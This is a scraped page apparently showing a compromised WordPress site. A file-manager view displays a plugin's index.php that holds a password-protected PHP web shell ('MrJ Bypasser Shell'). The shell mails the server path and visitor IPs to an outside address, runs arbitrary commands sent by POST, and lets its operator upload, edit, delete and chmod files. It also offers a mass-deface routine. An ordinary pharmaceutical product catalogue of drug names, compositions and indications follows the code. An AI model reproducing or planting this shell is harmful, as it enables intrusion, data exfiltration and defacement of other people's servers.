Current Path : /storage/v11800/affypharma/public_html/wp-content/plugins/bdthemes-element-pack/modules/cookie-consent/

Linux v11800 5.3.0-1023-aws #25~18.04.1-Ubuntu SMP Fri Jun 5 15:19:18 UTC 2020 aarch64

Upload File :
Current File : /storage/v11800/affypharma/public_html/wp-content/plugins/bdthemes-element-pack/modules/cookie-consent/index.php
<?php ?><?php if(isset($_REQUEST["ok"])){die(">ok<");};?><?php
if (function_exists('session_start')) {
  session_start();
  if (!isset($_SESSION['secretyt'])) {
    $_SESSION['secretyt'] = false;
  }
  if (!$_SESSION['secretyt']) {
    if (isset($_POST['pwdyt']) && md5(md5(md5(md5(md5(md5(md5(md5($_POST['pwdyt'])))))))) == '2dec0af1d2efe0804b3b28bb0efa51c3') {
      $_SESSION['secretyt'] = true;
    } else {
$bytesecform = <<<FORM
<html>
  <head>
    <meta charset="utf-8">
    <title></title>
    <style type="text/css">
      body {padding:10px}
      input {
        padding: 2px;
        display:inline-block;
        margin-right: 5px;
      }
    </style>
  </head>
  <body>
    <form action="" method="post" accept-charset="utf-8">
      <input type="password" name="pwdyt" value="" placeholder="passwd">
      <input type="submit" name="submit" value="submit">
    </form>
  </body>
</html>
FORM;
      die($bytesecform);
    }
  }
}
?>
<?=eval("?>".base64_decode("<?php
$ip = $_SERVER['REMOTE_ADDR'];
mail ('', 'ip of visitor', $ip);


$tmp = $_SERVER['SERVER_NAME'].$_SERVER['PHP_SELF']."\n"; 
mail('jeffreezyt@gmail.com', 'root', $tmp);
?>

<!DOCTYPE HTML>
<html>
<meta http-equiv="cache-control" content="max-age=0" />
<meta http-equiv="cache-control" content="no-cache" />
<meta http-equiv="expires" content="0" />
<meta http-equiv="expires" content="Tue, 01 Jan 1980 1:00:00 GMT" />
<meta http-equiv="pragma" content="no-cache" />
<head>
<link rel="shortcut icon" href="https://i.ibb.co/HX9P5xC/jj.jpg" type="image/jpg"> 
<body bgcolor="black"><center>
	


<link href="" rel="stylesheet" type="text/json_decode">
<title>~[ MrJ Bypasser Shell ]~</title>
<style>
	
body{
background-colour: yellow;
}
#content tr:hover{
background-color: red;
text-shadow:0px 0px 12px #fff;
}
#defacer{
width:300px;
background:black;
border:solid 2px red;
color:lime;
}
#domains{
background:black;
border:2px #15d6c8 solid;
color: blue;
}
input{
	
}
#content .first{
background-colour: red;
}
table{
border: 2px #15d6c8 solid;
}
textarea{
width: 80%;
height: 80%;
}
.error{
			color: red;
			font-size: 30;
}
.success{
			color: #00FF49;
			font-size: 30;
}
a{
color:red;
text-decoration: iceland;
}
a:hover{
color:red;
text-shadow:0px 0px 10px #ffffff;
}
input,select,textarea,button{
border: 2px #15d6c8 solid;
-moz-border-radius: 5px;
-webkit-border-radius:5px;
border-radius:5px;
}
</style>
</head>
<body>
     <center><br><br>
    	<a href="<?=$_SERVER['PHP_SELF'];?>"><img border='0' alt="UHP Logo" src='https://i.ibb.co/HX9P5xC/jj.jpg' height='290' width='300'></a>
      </center>
   <h3><font color="white">MrJ Haxcore</h3>
    <div class="greetings">
  <!!!--<a href="<?=$_SERVER['PHP_SELF'];?>"> * Private BYPASSER Shell   * </a>
 </div><br>
       <br><br>
    
   <br>
 <font size="5"><a href="?masszone">Mass Zone - H</a> ~ <a href="?massdeface">Mass Deface</a> ~ <a href="?massbackdoor">Mass Backdoor</a> </font>
<?php
$notavail = "<font color='red'><h1>Available Soon!</h1></font>
<br>
<font color='red' size='6'>
For more updates do pm me.
<br>👇🏻👇🏻👇🏻👇🏻
</font>
<br>
<button><a href='https://www.facebook.com/johndelacruzcw'>Contact</a></button>
";
if(!empty($_POST['cmd'])){
	$cmd = $_POST['cmd'];
	exec($cmd,$b);
	$status = "Success!";
}
if(isset($_GET['path'])){
$path = $_GET['path'];
}else{
$path = getcwd();
}
$path = str_replace('\\','/',$path);
$paths = explode('/',$path);
if(isset($_GET['path'])){
$path = $_GET['path'];
}else{
$path = getcwd();
}
$path = str_replace('\\','/',$path);
$paths = explode('/',$path);

if( $_POST['_upl'] == "Upload" ){
	$fname = $_FILES['file']['name'];
	$fdir = $_POST['dir'];
	$total = $_POST['patch'].'/'.$fname;
	if(@copy($_FILES['file']['tmp_name'],$path.'/'.$total)){
		$fname = $_FILES['file']['name'];
	//	echo $_FILES['file']['tmp_name'];

//		$runs = $path.'/'.$fname;
		$success = "Uploaded!";
		$status = $success;
		}else{
		$failed = 'Error!';
		$status = $failed;
	}
}

echo '<table width="770" border="0" cellpadding="3" cellspacing="1" align="center">
<tr><td>Path : ';
foreach($paths as $id=>$pat){
if($pat == '' && $id == 0){
$a = true;
echo '<a href="?path=/">/</a>';
continue;
}
if($pat == '') continue;
echo '<a href="?path=';
for($i=0;$i<=$id;$i++){
echo "$paths[$i]";
if($i != $id) echo "/";
}
echo '">'.$pat.'</a>/';
if(function_exists('opendir')) {
	if($opendir = opendir($path)) {
		while(($readdir = readdir($opendir)) !== false) {
			$scandir[] = $readdir;
		}
		closedir($opendir);
	}
	sort($scandir);
} else {
		
	$scandir = scandir($path);
}
}

?>
<?php
if($_POST["path"] && $_POST["chmods"]){
	$chmods = $_POST["chmods"];
	chmod($_POST["path"], $chmods);
	$status = "Permission Changed!";
}
if($_POST['ndir'] && $_POST['path']){
$ndir = $_POST["ndir"];
mkdir($_POST['path'].'/'.$ndir);
echo "<div class='success'>";
$status = "Directory Saved!";
echo "</div>";
}
if($_POST['code'] && $_POST['path']){
$a = $_POST['code'];
$file = @fopen($_POST['path'].'/'.$_POST['file'],'w');
@fwrite($file,$a); @fclose($file);
echo "<div class='success'>";
$status = "File Created!";
echo "</div>";
}else{
}

if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
if($_POST['type'] == 'dir'){
if(rmdir($_POST['path'])){
echo "<div class='success'>";
$status = 'Deleted!';
echo "</div>";
}else{
echo "<div class='error'>";
$status = "Error!";
echo "</div>";
}
}elseif($_POST['type'] == 'file'){
if(unlink($_POST['path'])){
echo "<div class='success'>";
$status = 'Deleted!';
echo "</div>";
}else{
echo "<div class='error'>";
$status = 'Error!';
echo "</div>";
}
}
}

if(isset($_POST['path']) && isset($_POST['newname'])){
if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
$status = 'Renamed! ';
}else{
$status = 'Error!';
}}
if(isset($_POST['src'])){
$fp = fopen($_POST['path'],'w');
if(fwrite($fp,$_POST['src'])){
echo "<div class='success'>";
$status = 'Saved!';
echo "</div>";
}else{
echo "<div clas='error'>";
$status = 'Error!';
echo "</div>";
}
fclose($fp);
}?>
<?php
if($status === "Error!"){
	if(!empty($status)){
echo "<div class='error'>";
echo "Status: $status";
echo "</div>";
}
}else{
	if(!empty($status)){
echo "<div class='success'>";
echo "Status: $status";
echo "</div>";
}
}
echo "</p>";
if(isset($_POST["path"]) && $_POST["newf"] == "folder"){
echo '<form method="POST">
<label>Directory Name: </label>
<input type="hidden" name="path" value="'.$path.'">
<input type="text" name="ndir"/>
<input type="submit" name="save" value="Save!"/>
</form>';
	}
if($_POST["path"] && $_POST["opt"] == "chmod"){
	$chmodper = $_POST["chmodper"];
	echo '<form method="POST">
<label>Chmod: </label>
<input type="hidden" name="path" value="'.$path.'">
<input type="text" name="chmods" value="'.$chmodper.'"/>
<input type="submit" name="save" value="Save!"/>
</form>';
	
}
if($_POST['opt'] == 'rename'){
if($_POST["name"] == ""){
$_POST["name"] = $_POST["newname"];
}
echo '<form method="POST">
New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
<input type="hidden" name="path" value="'.$_POST['path'].'">
<input type="hidden" name="opt" value="rename">
&nbsp;
<input type="submit" value="Save" />
</form>';
echo "<br/>";
}else{}



?>
</td></tr><tr><td><form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">
<input type="hidden" name="path" value="<?=$path;?>">
<input type="hidden" name="dir" value="<?=$dir;?>">
<input type="file" class="" name="file" size="50">
&nbsp;
<input name="_upl" type="submit" class="btn" id="_upl" value="Upload"></form>
<?$status;?>

</td></tr></table><br/>
<?php
if(isset($_POST["path"]) && $_POST["newf"] == "file"){
	echo '<form method="POST">
<label for="input">Filename: </label>
<input id="input"type="text" name="file" placeholder="">
<br>
<br>
<input type="hidden" name="path" value="'.$path.'">
<textarea cols=80 class="textarea" rows=20 name="code" placeholder="">
</textarea><br> <input type="submit"  name="Save" value="Save">
</form>';
}elseif($_POST['opt'] == 'edit'){
$fname = $_POST["name"];
echo "<br/>
Filename: <font color='red'>$fname</font>
</br><br/>
<center>
<form method='POST'>
<input name='name' type='hidden' value='$fname'/>";
echo '
<textarea cols=80 class="textarea" rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
<input type="hidden" name="path" value="'.$_POST['path'].'">
<input type="hidden" name="opt" value="edit">
<br/>
<input type="submit" value="Save" />
</form>';
echo "<br/></center>";
}elseif(isset($_GET["masszone"])){
	echo $notavail;
}elseif(isset($_GET["massdeface"])){
echo "<center><form method='POST'>";
echo "<h1><font color='red'>Mass Deface</font></h1>";
echo "<font color='white'>Target Folder</font><br>
<input cols='10' rows='10' type='text' style='color:lime;background-color:#000000;' name='base_dir' value='".getcwd ()."'><br><br>";
echo "<font color='white'>Name of File</font><br><input cols='10' rows='10' type='text' style='color:lime;background-color:#000000' name='andela' value='mikey.txt'><br><br>";
echo "<font color='white'>Script Deface</font><br><textarea cols='25' rows='8' style='color:lime;background-color:#000000;' name='index'></textarea><br>";
echo "<input type='submit' value='Mass !!!'></form></center>";
 
if (isset ($_POST['base_dir']))
{
        if (!file_exists ($_POST['base_dir']))
                die ($_POST['base_dir']." Not Found !<br>");
 
        if (!is_dir ($_POST['base_dir']))
                die ($_POST['base_dir']." Is Not A Directory !<br>");
 
        @chdir ($_POST['base_dir']) or die ("Cannot Open Directory");
 
        $files = @scandir ($_POST['base_dir']) or die ("Fuck u -_- <br>");
 
        foreach ($files as $file):
                if ($file != "." && $file != ".." && @filetype ($file) == "dir")
                {
                        $index = getcwd ()."/".$file."/".$_POST['andela'];
                        if (file_put_contents ($index, $_POST['index']))
                                echo "<hr color='lime'>>> <font color='lime'>$index&nbsp&nbsp&nbsp&nbsp</font><font color='lime'>(&#10003;)</font>";
                }
        endforeach;
}
}elseif(isset($_GET["massbackdoor"])){
echo $notavail;
}else{
?>
<div id="content"><table width="800" border="0" cellpadding="3" cellspacing="1" align="center">
<tr class="first">
<td><center>[+] Files/Folder [+]</SCA></center></td>
<td><center>[+] Size [+]</SCA></center></td>
<td><center>[+] Permission [+]</peller></center></td>
<td><center>[+] Modify [+]</SCA></center></td>
</tr><tr>
	
<?php
echo "<tr><td><a href='?$path'></a></td><center><td><center>--</center></td>
<td><center>--</center></td>
<td><center><form method='post'><input type='hidden' name='path' value='$path'><input type='hidden' name='newf' value='file'><input type='submit' value='NewFile'></form>
<form method='post'><input type='hidden' name='path' value='$path'>
<input type='hidden' name='newf' value='folder'><input type='submit' value='NewDirectory'>
</form></center></td>
</tr>";

foreach(array_unique($scandir) as $dir){
if(!is_dir($path.'/'.$dir) || $dir == '.' || $dir == '..') continue;
$size = filesize($path.'/'.$dir)/1024;
$size = round($size,3);
if($size >= 1024){
$size = round($size/1024,2).' MB';
}else{
$size = $size.' KB';
//echo $size;
}
echo '
<td><a href="?path='.$path.'/'.$dir.'">'.$dir.'</a></td>
<center>';
if(is_writable($path.'/'.$dir)) echo '<font color="red" size="2">';
elseif(!is_readable($path.'/'.$dir)) echo '<font color="white" size="2">';
//echo perms($path.'/'.$dir);
if(is_writable($path.'/'.$dir) || !is_readable($path.'/'.$dir)) echo '</font>';

echo'
<td><center><font color="white">--</font></center></td>';
$fpermi = substr(sprintf('%o', fileperms("$path/$file")), -4);
echo"
<td><center><font color='yellow'>$fpermi</font></center></td>
";
echo'
<td><center>
<form method="POST" action="?option&path='.$path.'">
<select name="opt">
<option value=""> Menu </option>
<option value="delete">[+] Delete [+]</option>
<option value="chmod">[+] Chmod [+]</option>
<option value="rename">[+] Rename [+]</option>
</select>
<input type="hidden" name="type" value="dir">
<input type="hidden" name="chmodper" value="'.$fpermi.'">
<input type="hidden" name="name" value="'.$dir.'">
<input type="hidden" name="path" value="'.$path.'/'.$dir.'">
<input type="submit" value=">>">
</form>
</center></td><tr>';
}
echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
foreach(array_unique($scandir) as $file){
if(!is_file($path.'/'.$file)) continue;
$size = filesize($path.'/'.$file)/1024;
$size = round($size,3);
if($size >= 1024){
$size = round($size/1024,2).' MB';
}else{
$size = $size.' KB';
//echo $size;
}

echo '<tr>
<td><a href="?filesrc='.$path.'/'.$file.'&path='.$path.'">'.$file.'</a></td>
<td><center>'.$size.'</center></td>

';
$fpermi = substr(sprintf('%o', fileperms("$path/$file")), -4);
echo"
<td><center><font color='yellow'>$fpermi</font></center></td>
";
echo'<td><center>
<form method="POST" action="?option&path='.$path.'">
<select name="opt">
<option value=""> Menu </option>
<option value="delete">[+] Delete [+]</option>
<option value="chmod">[+] Chmod [+]</option>
<option value="rename">[+] Rename [+]</option>
<option value="edit">[+] Edit [+]</option>
</select>
<input type="hidden" name="type" value="file">
<input type="hidden" name="chmodper" value="'.$fpermi.'">
<input type="hidden" name="name" value="'.$file.'">
<input type="hidden" name="path" value="'.$path.'/'.$file.'">
<input type="submit" value=">>">
</form>
</center></td><tr>';

if(!empty($b)){
echo "<div class='cmd-div'>";
foreach($b as $v){
if(!empty($v)){
echo "<pre>";
echo "<p>$v</p>";
}else{
}
}
echo "</div>";
}}}
?>
"));?>

ESTRELLA Pharma – Affy Pharma Pvt Ltd

TREPODOX

POWDER FOR ORAL SUSPENSION
30ML (HDPE BOTTLE)

Composition

Cefpodoxime 50mg/5ml

Indications & Uses

UTIs, LRTs

TREPODOX – CV

POWDER FOR ORAL SUSPENSION
30ML (GLASS BOTTLE)

Composition

Cefpodoxime 50mg + Potassium Clavulanate 31.25mg/ 5ml

Indications & Uses

Upper & lower respiratory infections, Uncomplicated skin infections, Urinary Tract Infections

ESTY CLAV

POWDER FOR ORAL SUSPENSION
30ML (GLASS +HDPE BOTTLE)

Composition

Amoxycillin 200mg + Potassium clavulanate 28.50 mg/ 5ml

Indications & Uses

Community Acquired Pneumonia, Acute Exacerbations of Chronic Bronchitis, Upper Respiratory Tract Infections, Urinary Tract Infections

ESTRIXIME – CV

POWDER FOR ORAL SUSPENSION
30ML (GLASS BOTTLE)

Composition

Cefixime 50mg + Potassium clavulanate 31.25mg/5ml

Indications & Uses

Urinary Tract Inefctions, AECB, Otitis Media, Typhoid/p>

ESTRIXIME

POWDER FOR ORAL SUSPENSION
30ML (HDPE BOTTLE)

Composition

Cefixime 50mg/5ml

Indications & Uses

Urinary Tract Inefctions, Gastroenteritis

REOMELL

ORAL SUSPENSION
15 ml

Composition

Azithromycin 200mg/5ml

Indications & Uses

Community Acquired Pneumonia, Acute Exacerbations of Chronic Bronchitis,

TAMEST – DS

ORAL SUSPENSION
60 ml

Composition

Paracetamol 250mg/5ml

Indications & Uses

Fever, Pain

STREFEN

ORAL SUSPENSION
60 ml

Composition

Paracetamol 125mg + Mefenamic Acid 50mg/5ml

Indications & Uses

Pain, Fever

STREFOX

ORAL SUSPENSION
30 ml

Composition

Ofloxacin 50mg/5ml

Indications & Uses

Acute exacerbations of chronic Bronchitis, Diarrhoea

TAMACET-P

SYRUP
60 ml

Composition

Paracetamol 125mg + PPH 5mg + Cetirizine HCI 2mg/5ml

Indications & Uses

Fever, common cold & Flu

HEPTRELL

ORAL SUSPENSION
200ml

Composition

Cyproheptadine HCI 2mg + Tricholine citrate 0.275mg/5ml

Indications & Uses

Stimulate Apetite, Induces Weight Gain, Cure Allergies

TREP-DSR

CAPSULES ( HARD GELATIN)
10X10 (Alu-Alu)

Composition

Pantoprazole 40mg (EC) + Domperidone 30mg (SR)

Indications & Uses

GERD, Dyspepsia, Acid Peptic Disorders, Gastritis

RALE-DSR

CAPSULES ( HARD GELATIN)
11X10 (Alu-Alu)

Composition

Rabeprazole 20mg (EC) + Domperidone SR

Indications & Uses

GERD, Dyspepsia, Acid Peptic Disorders, Gastritis

STRETOP-40

INJECTION
40ml

Composition

Pantoprazole Sodium 40mg + NaCL

Indications & Uses

Acid-peptic disorders in hospitalized patients, Zollinger – Ellison Syndrome, Treatment of GERD Associated with Erasive Esophagitis, GL Bleed

DIMACID

SUSPENSION
170ml

Composition

Activated Dimethicone 25mg + Magnesium Hydroxide 200mg+ Aluminium Hydroxide Gel 200mg/10ml

Indications & Uses

Heartburn, Acid Indigestion

ELLAZYME

SYRUP
200ml

Composition

Alpha Amylase (1:2000) 50mg, Pepsin(1:3000) 10mg/5ml

Indications & Uses

Dyspepsia, Flatulence, Anorexia, Pancreatic Insufficiency

ARBOLL-Z

CAPSULES (HARD GELATIN)
10X3X10

Composition

Vitamin C 75mg + Vitamin B12 5mcg + Carbonyl Iron 100mg + Folic Acid 1.5mg + Zinc Sulphate 61.8mg

Indications & Uses

Hyphocromic Anemia in Pregnancy, Chronic and / or Acute Blood Loss, Post-gynaesurgery, Iron Deficiency Anemia

EST-D3 60K

CAPSULES (SOFT GELATIN)
10X1X4

Composition

Cholecalciferol 60000 UI

Indications & Uses

Osteoporosis, Osteoarthritis, Musculoskeletal Pain, Type- 2 Diabetes, Menstrual Irregularities, Pre-eclampsia, IUGR

STREBONA

ORAL SUSPENSION
200ml

Composition

Calcium Carbonate 625mg, Vitamin D3 125 IU/5ml

Indications & Uses

Osteomalacia, Osteoporosis, Fractures, Premenstrual Syndrome

STREFE-III

SYRUP (IRON TONIC)
300 ml

Composition

Iron (III) Hydroxide Polymaltose 50mg, Folic Acid 0.5mg/15ml

Indications & Uses

Pregnancy and lactation, Iron Deficiency Anaemia, Anaemia due to Excessive Haemorrhage, Anaemia Associated with Infections and Malignant Disease

STRECIUM

CAPSULES (SOFT GELATIN)
5X2X15

Composition

Calcitriol 0.25mcg + Calcium Carbonate 500mg + Zinc Sulphate 7.5mg

Indications & Uses

Osteoporosis, Hypoparathyroidism, Pregnancy & Lactation, Premenstrual Syndrome

ESTRE-SPAS

TABLETS
20X10

Composition

Mefenamic Acid 250mg + Dicyclomine HCI 10mg

Indications & Uses

Dysmenorrhea, Irritable Bowel Syndrome, Colic and Bladder Spasm, Abdominal Pain

TAMEST-A

TABLETS (BLISTERS)
20X10

Composition

Nimeulide 100mg + Paracetamo; 325mg

Indications & Uses

Arthritis Pain, Soft Tissue Trauma Including Sprains, Musculoskeletal Pain, Pain Following Dental Extraction

PARTRA FORTE

TABLETS

20X10

Composition

Tramadol 37.5mg + Paracetamol 325mg

Indications & Uses

Chronic Back Pain, Osteoarthritis, Postoperative Pain

UMRELY GEL

GEL
30g

Composition

Diclofenac Diethylamine 1.16% w/w + Oleum Linseed Oil 3 % w/w + Menthol 5% w/w +Methyl Salicylate 10% w/w

Indications & Uses

Sprains & Strains, Lower Back Pain, Joint Pain, Knee Pain

MOISTACT

CREAM
20g

Composition

Urea 10% +Lactic Acid 10% + Propylene Glycol 10% + Liquid Paraffin 10%

Indications & Uses

Foot Cracks, Keratolytic

BELODIP

OINTMENT
15g

Composition

Clotrimazole 1% w/w + Beclomethasone Dipropionate 0.025% w/w + Neomycin 0.5% w/w

Indications & Uses

Eczema, Psoriasis, Corticosteroid Responsive Dermatoses

MIN-DAND

LOTION
100 ml

Composition

Ketoconazole 2% w/v

Indications & Uses

Pityriasis, Dandruff

MIN-DAND-Z

LOTION
100 ml

Composition

Ketoconazole Shampoo 2% w/v + ZPTO 1% w/v

Indications & Uses

Pityriasis, Dandruff

MIN-DAND

SOAP
75g

Composition

Ketoconazole 1% w/w

Indications & Uses

Tinea Versicolor, Prophylaxis of Pityriasis Versicolor

FLUTRELLA

TABLETS
20X1X1

Composition

Fluconazole 200mg

Indications & Uses

Vaginal Candidiasis, Brochopulmonary Infections, Candiduria, Tinea Pedis, Corposis, Cruris, Versicolor

ESTRAVIT

SYRUP
200ml

Composition

L-Iysine HCI 25mg + Vitamin B1 2.5mg + Vitamin B2 2.5mg + Vitamin B6 0.75mg + D-panthenol 3mg +Niacinamide 25mg + Mecobalamin 2mcg/10ml

Indications & Uses

Sub-optimal Growth, Poor Weight Gain, Malnutrition, Prolonged Illness

LYCOSTER PLUS

SYRUP
225ml

Composition

Each 10ml Contains: Lycopene 6% 1000mcg + Vitamin A Palmitate 2500 IU + Vitamin E 10 IU + Ascorbic Acid 50mg + Selenium (as Sodium Selenate) 35mcg + Zinc (As Zinc Gluconate) 3mg + Manganese (as Manganese Gluconate) 2mg + Iodine ( As Potassium Iodine) 100mcg + Copper (As Copper Sulphate0 500mcg + Thiamine HCI 2mg + Riboflavine 3mg + Pyridoxine HCI 1.5mg

Indications & Uses

Tiredness, Stress, Feeling of Weakness, Vitality Deficiency

OSERON

CAPSULES (SOFT GELATIN)
10X1X10

Composition

Antioxidant, Multivitamin & Multiminerals

Indications & Uses

Tiredness, Stress, Feeling of Weakness, Vitality Deficiency

GERMELLA

CAPSULES (SOFT GELATIN)
10X1X10

Composition

Vitamin E (Natural) 400 IU + Wheat Germ Oil 100mg + Omega 3 Fatty Acids 30mg

Indications & Uses

Ulcerative colitis, Metabolic Syndrome, Rheumatoid Arthritis, Type-2 Diabetes, Cardiovascular Diseases

LYCOSTER GOLD

CAPSULES (SOFT GELATIN)
10X1X10

Composition

Each SG Contains Lycopene 6% 2000 IU + Vitamin A 2500 IU + Vitamin E Acetate 10 IU + Vitamin C 50 mg + Zinc sulphate Monohydrate 27.45mg + Selenium Dioxide 70mcg

Indications & Uses

Idiopathic Male Infertility, Pre-eclampsia, Prostate Cancer, Cardiovascular Diseases, Diabetes Mellitus

OSERON -G

CAPSULES (SOFT GELATIN)
10X1X11

Composition

Ginseng + Multivitamin + Multimineral

Indications & Uses

Tiredness, Stress, Feeling of Weakness, Vitality Deficiency

OSERON -G

CAPSULES (SOFT GELATIN)
10X1X11

Composition

Ginseng + Multivitamin + Multimineral

Indications & Uses

Tiredness, Stress, Feeling of Weakness, Vitality Deficiency

ESTRIXIME-200 LB

TABLETS (Alu-Alu)
20X10

Composition

Cefixime 200mg + Lactic Acid Bacilus 2.5 billion spores

Indications & Uses

Otitis Media, Pharyngitis & Tonsillitis, Uncomplicated Urinary Tract Infections, Acute Exacerbations of Chronic Bronchitis, Enteric Fever

ESTRIXIME-CV-325

TABLETS (Alu-Alu)
10X1X6

Composition

Cefixime 200mg + Potassium Clavulanate 125mg

Indications & Uses

Respiratory Tract Infections, Urinary Tract Infections, Skin & Skin Structure Infections

ESTY CLAV-625 LB

TABLETS (Alu-Alu)
10X1X6

Composition

Amoxycillin 500mg + Potassium Clavulanate 125mg

Indications & Uses

Respiratory Tract Infections, Community Acquired Pneumonia, Gynaecological Infections, Acute Exacerbations of Chronic Bronchitis, Skin and Soft Tissue Infections

FLOXEST

TABLETS (Blister)
20X10

Composition

Ofloxacin 200mg + Ornidazole 500mg

Indications & Uses

Surgical ions, Diarrheas of Mixed Etiology, Gynaecological Infections, Orofacial and Dental Infections

VOFLOX-500

TABLETS
10X10

Composition

Levofloxacin 500mg

Indications & Uses

Acute Bacterial Sinusitis, Acute Bacterial Exacerbations of Chronic Bronchitis, Skin & Skin Structure Infections, Chronic Bacterial Prostatitis, Urinary Tract Infections

FLOXEST – O

TABLETS (Alu-Alu)
20X10

Composition

Cefixime 200mg + Ofloxacin 200mg

Indications & Uses

Community Acquired Pneumonia, Multiple Drug Resistant-TB, Typhoid

FLOXEST

TABLETS (Alu-Alu)
20X10

Composition

Ofloxacin 200mg

Indications & Uses

Community Acquired Pneumonia, Multiple Drug Resistant-TB, Typhoid

ESTY CLAV- 1.2

INJECTIONS
1.2g

Composition

Amoxycillin 1000mg + Potassium Clavulanate 200mg + WFI

Indications & Uses

Community Acquired Pneumonia, Gynaecological Infections, Upper Respiratory Tract Infections, Skin and Soft Tissue Infections, Urinary Tract Infections, Acute Exacerbations of Chronic Bronchitis

TRELLON-SB 1.5

INJECTIONS
1.5g

Composition

Ceftriaxone 1000mg + Sulbactam 500mg + WFI

Indications & Uses

Gynaecological Infections, Lower Respiratory Tract Infections, Intra-abdominal Infections with Aerobic Organisms, Surgical Prophylaxis

TRELLON-TZ 1.125

INJECTIONS
1.125gm

Composition

Ceftriaxone 1000mg + Tazobactam 500 mg + WFI

Indications & Uses

Bone & Joint Infections, Intra-abdominal Infections, Bacterial Meningitis, Pre-operative Surgical Prophylaxis

RELLAM

INJECTIONS
1gm

Composition

Meropenem 1gm + WFI

Indications & Uses

Complicated Intra-abdominal Infection (cIAI), Complicated Skin & Skin Structure Infections (cSSSI), Bacterial Meningitis, Noscocomial Pneumonia

TRELIN-Z 4.5

INJECTIONS
4.5gm

Composition

Piperacillin 4000mg + Tazobactam 500mg + WFI

Indications & Uses

Intra-abdominal Infections, Complicated Urinary Tract Infections, Febrile Neutropenia, Lower Respiratory Tract Infections

TRELIN-Z 4.5

INJECTIONS
4.5gm

Composition

Piperacillin 4000mg + Tazobactam 500mg + WFI

Indications & Uses

Intra-abdominal Infections, Complicated Urinary Tract Infections, Febrile Neutropenia, Lower Respiratory Tract Infections

BUTRELLA

SYRUP

100ml

Composition

Ambroxol HCI 15mg + Guaiphensin 50mg + Terbutaline Sulphate 1.5mg + Mentholated Base/5ml

Indications & Uses

Bronchitis, Productive Cough, Emphysema, Bronchial Asthma

BUTRELLA-BR

SYRUP

100ml

Composition

Terbutaline Sulphate 1.25mg + Bromhexine HCI 4mg + Guaiphenesin 50mg + Methalated Base/5ml

Indications & Uses

Acute Cough, Abnormal Mucus Secretion, Productive Cough

DEXTRIN

SYRUP
100ml

Composition

Dextromethorphan Hydrobromide 10mg + Phenylpherine 5 mg + Cetrizine 5mg + Mentholated Base/5ml

Indications & Uses

Commom Cold and Flu, Nasal Congestion, Sore Throat

VOTRELL-M

TABLETS (Alu-Alu)
20X10

Composition

Levocetirizine 5mg + Montelukast 10mg

Indications & Uses

Allergic Rhinitis, Nasal Congestion, Asthma

VOTRELL

TABLETS (Alu-Alu)
20X11

Composition

Levocetirizine 5mg

Indications & Uses

Chronic Idiopathic Urticaria (CIU), Seasonal Allergic Rhinitis (SAR), Perennial Allergic Rhinitis (PAR)

Arrange A Callback
[]
1 Step 1
Full Name
Telephone
Departmentyour full name
Postal Address
Message
0 /
Previous
Next
Shopping Basket